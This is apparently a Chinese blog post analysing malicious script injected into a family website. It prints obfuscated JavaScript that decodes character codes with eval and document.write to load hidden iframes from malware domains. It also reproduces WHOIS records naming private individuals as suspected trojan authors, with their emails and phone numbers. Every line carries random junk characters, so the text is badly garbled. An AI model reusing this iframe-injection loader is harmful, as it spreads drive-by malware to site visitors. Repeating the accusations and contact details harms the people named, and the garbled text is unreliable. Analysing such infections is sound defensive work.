首发在我的博客里面，
;V(}F!U\z "%@=?X8 http://www.areway.cn/?p=175 "8Wc\ YDh RSVN(-wIi) 1) kl 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
$h Y]EB H_nOE(i<z <script>t=’60,105,102,114,97,109,101,
sp]y! zb"5 32,115,114,99,61,104,116,116,112,58,47,47,
%X-&yGY 102,114,101,101,46,117,45,117,117,117,46,99,
UOL%tT 110,47,101,114,114,111,114,46,104,116,109,
yl;$#aZB 32,119,105,100,116,104,61,49,48,48,32,104,
mjr{L{H=?+ 101,105,103,104,116,61,48,62,60,47,105,102,
Vm%ux> } 114,97,109,101,62′;
sOtNd({ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
6W#F Ss~ tFP;CW!E <script>t=’60,105,102,114,97,109,101,32,115,
di
P4]/%1 114,99,61,104,116,116,112,58,47,47,102,114,
/JY ph^3][ 101,101,46,117,45,117,117,117,46,99,110,47,
HW%bx"r+4f 101,114,114,111,114,46,104,116,109,32,119,
NBR'^6 105,100,116,104,61,49,48,48,32,104,101,105,
4lo}-@j 103,104,116,61,48,62,60,47,105,102,114,97,
>j~70 ? 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
{] ^%?]e document.write(t);</script>
sT T455h) {xb%P!o` <html xmlns=”
[A Ol uS http://www.w3.org/1999/xhtml oDiv9 jm “>
lNp:2 P <head>
a\j\eMC <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
V?=zuB?' <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
z&/
o <title>首页 - 爱生活家庭网
-<^Q2]PE; ve/6-J!5Y. 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
aRb:.\ \zc 转换字符串后的大概内容是（谁点击后果自付）：
)k<~}wvQ0 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
=+#RyV + OuG!3+w 查询玉米u-uuu.cn的详细信息：
\YF !< 2|[ Domain Name: u-uuu.cn
:usBeho ROID: 20070901s10001s64972306-cn
IXk'?9 Domain Status: ok
[tw<TV"\ Registrant Organization: 王雷
N#-\ JlJ) Registrant Name: 王雷
9'L 0Al~L Administrative Email:
czlovexs@126.com :zy'hu; Sponsoring Registrar: 北京万网志成科技有限公司
thboHPml{ Name Server:ns.yovole.com
nf@u7*# 6 Name Server:ns1.yovole.com
U=1`. Ove Registration Date: 2007-09-01 17:54
`U>b6 {K Expiration Date: 2008-09-01 17:54
!(AFT! 最后PING了一下地址 都没有什么….
Mv wJ(3 K O HH74}_ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
s 17gi,"X <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
1+ARV&bc <script language=”javascript” src=”
Dve5m= http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script I 6 Q_A >
745V!#3!M
这个玉米应该有可能是木马作者的：
@x>2|`65Y foafau.info的详细信息：
c15^<6]g Access to INFO WHOIS information is provided to assist persons in
ia lk6i![ determining the contents of a domain name registration record in the
${:$jX [ Afilias registry database. The data in this record is provided by
9 7qS.Z27 Afilias Limited for informational purposes only, and Afilias does not
'cc4Y~0s guarantee its accuracy. This service is intended only for query-based
s~ZC!- [; access. You agree that you will use this data only for lawful purposes
aV%rq9Tp and that, under no circumstances will you use this data to: (a) allow,
*LQY6=H enable, or otherwise support the transmission by e-mail, telephone, or
L6 }x3 facsimile of mass unsolicited, commercial advertising or solicitations
?mUu(D:7D to entities other than the data recipient’s own existing customers; or
Uwil*Jh (b) enable high volume, automated, electronic processes that send
o5A_j?t queries or data to the systems of Registry Operator, a Registrar, or
?)<XuMh Afilias except as reasonably necessary to register domain names or
xb_:9 modify existing registrations. All rights reserved. Afilias reserves
a^1c _ the right to modify these terms at any time. By submitting this query,
I*ni )Px you agree to abide by this policy.
@+vTG jHA Domain ID:D22418703-LRMS
Kt7x' 5 Domain Name:FOAFAU.INFO
Ln
-?/[E Created On:20-Nov-2007 16:05:42 UTC
5"]2@@b4 Last Updated On:20-Nov-2007 16:05:44 UTC
+>%+r Expiration Date:20-Nov-2008 16:05:42 UTC
)Ea_:C' Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Xr;noV-X Status:CLIENT DELETE PROHIBITED
W3j|% Status:CLIENT RENEW PROHIBITED
l[0P*(I, Status:CLIENT TRANSFER PROHIBITED
=_:L
wmI Status:CLIENT UPDATE PROHIBITED
6M|%nBN$| Status:TRANSFER PROHIBITED
c<x6_H6[8 Registrant ID:GODA-040110615
HcUz2Rm5XP Registrant Name:liu hong
:QSW^x Registrant Organization:
uzA'D ~)P Registrant Street1:beijing
@z RB4d$ Registrant Street2:
2^lT !X@ Registrant Street3:
i^KYZ4/% Registrant City:beijing
%dR./{txT Registrant State/Province:
wLSYzz Registrant Postal Code:100000
-$ft `Ih Registrant Country:CN
[ \F ,\ Registrant Phone:+86.860108888777
LX&P]{q KS Registrant Phone Ext.:
^$
bhmJYT Registrant FAX:
$yK!Q)e: Registrant FAX Ext.:
LP_F"?4 Registrant Email:bbbshiji@163.com
@ ]3Rw[% z Admin ID:GODA-240110615
G* 6< pp Admin Name:liu hong
SX,z J`" Admin Organization:
LK5H~FK Admin Street1:beijing
a][Z;g Admin Street2:
QYGxr+D Admin Street3:
*s4!;2ZhsU Admin City:beijing
mf' 1.{ Admin State/Province:
Jjq% cA Admin Postal Code:100000
I]$d,N!. Admin Country:CN
z Pc;[uHT Admin Phone:+86.860108888777
.AW*7Pp`f Admin Phone Ext.:
$8}'6, Admin FAX:
MF(~!SOIG Admin FAX Ext.:
/)| y+<E]} Admin Email:bbbshiji@163.com
,]"u!,yHb Billing ID:GODA-340110615
8;NO>L/J]i Billing Name:liu hong
,~iAoxD5jY Billing Organization:
0G 1o3[F Billing Street1:beijing
~` hcgCi% Billing Street2:
3NWAy Cq- Billing Street3:
21 j+c{O Billing City:beijing
o$ k$ Billing State/Province:
wQ^a2$Z Billing Postal Code:100000
t1^96@m^ Billing Country:CN
Xlw=R2`)~ Billing Phone:+86.860108888777
*p!dd?8 Billing Phone Ext.:
Z`KmH.l! Billing FAX:
m m`3-F| Billing FAX Ext.:
A 6L}5#7- Billing Email:bbbshiji@163.com
NR@Tj] `k Tech ID:GODA-140110615
=h;!# Z C Tech Name:liu hong
Q(3 x"+ Tech Organization:
z +I-3v Tech Street1:beijing
b1o(CG(}* Tech Street2:
=SnR9In Tech Street3:
&O)mPnx` Tech City:beijing
w}b+vh^3Wy Tech State/Province:
6vA 5;a@ Tech Postal Code:100000
;N |>pSzmL Tech Country:CN
<k5~z( Tech Phone:+86.860108888777
RJ44o>L4O Tech Phone Ext.:
i6kyfOI Tech FAX:
RGLqn{< V Tech FAX Ext.:
#
GGmA. Tech Email:bbbshiji@163.com
cf'Z#N fQ Name Server:NS27.DOMAINCONTROL.COM
?Gfe? Name Server:NS28.DOMAINCONTROL.COM
V:J6eks_ Name Server:
(?[cDw/{J: Name Server:
'3->G/ Pu Name Server:
K A#-X2U/ Name Server:
Hkt'~ L* Name Server:
-;*Z!|e9 Name Server:
Mw. +0R!T Name Server:
;8Cqy80K Name Server:
w>s Name Server:
}tPl?P' ` Name Server:
ZP<X#]$qb Name Server:
-~k2Gy;E s_TM!LRUcw 接着下载每个文件里面的代码：
oJ+$&P( 一步一步看..
1P_bG47 
5
S& >9l 
y;jyfc$
` 
{ Se93o 
.Dmvgi] 
V p$ckr 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
